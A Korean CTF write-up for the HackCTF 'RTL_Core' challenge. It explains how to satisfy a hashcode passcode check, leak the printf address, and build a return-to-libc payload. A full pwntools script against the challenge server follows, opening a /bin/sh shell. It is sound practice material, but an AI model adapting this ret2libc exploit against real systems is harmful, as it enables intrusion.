# 보호기법 확인
# process
passcode와 입력값이 같으면 core 함수를 호출해준다.
Passcode는 v2인데, v2는 5번에 걸쳐 더한 결과이다. 따라서 5번에 나눠서 줘야 한다.
hashcode 값은 0xc0d9b0a7인데 5로 나누면 0x2691f021이 나온다.
이걸 5로 곱하면 0xc0d9b0a5으로 2가 모자른데, 마지막 5번째를 0x2691f023으로 준다.
그럼 위와 같이 출력해준다.
문제는..printf 함수 주소가 한글로 둘러싸여 있다.
그래서 0까지 받고 0을 붙이기로 했다.
그리고 주소 다음은 p.recv()로 받는다.
(실행파일로 구할 땐 잘 구해졌는데 remote로 구할 때는 안 되서 두 과정을 다르게 해야했다.)
처음에 주어진 hashcode 어떻게 쓰는건지만 알면 return address를 덮고 rtl을 사용하면 되므로 괜찮았다.
그리고 $ ldd RTL_Core 로 구한 libc파일 말고 주어진 파일을 로드해서 사용하도록 하자...
process로 할 때는 상관없는데, remote로 할 때는 주어진 libc.so.6 파일을 사용해야 쉘이 제대로 따졌다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./rtlcore")
p = remote("ctf.j0n9hyun.xyz", 3015)
libc = ELF("./libc.so.6")
pay = ""
for i in range(4):
pay += "\x21\xf0\x91\x26"
pay += "\x23\xf0\x91\x26"
p.sendlineafter("Passcode: ", pay)
print p.recvuntil("0")
printf = int('0' + p.recv(9), 16)
log.info("printf addr : "+hex(printf))
libcBase = printf - libc.symbols['printf']
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search("/bin/sh"))[0]
pay = 'A'*(0x3e + 0x4) + p32(system) + 'B'*0x4 + p32(binsh)
print p.recv()
pause()
p.sendline(pay)
p.interactive()
# exploit
[HackCTF] Look at me (0) | 2020.01.12 |
---|---|
[HackCTF] 1996 (0) | 2020.01.08 |
[HackCTF] g++pwn (0) | 2020.01.08 |
[HackCTF] poet (0) | 2020.01.08 |
[HackCTF] RTL_World (0) | 2020.01.02 |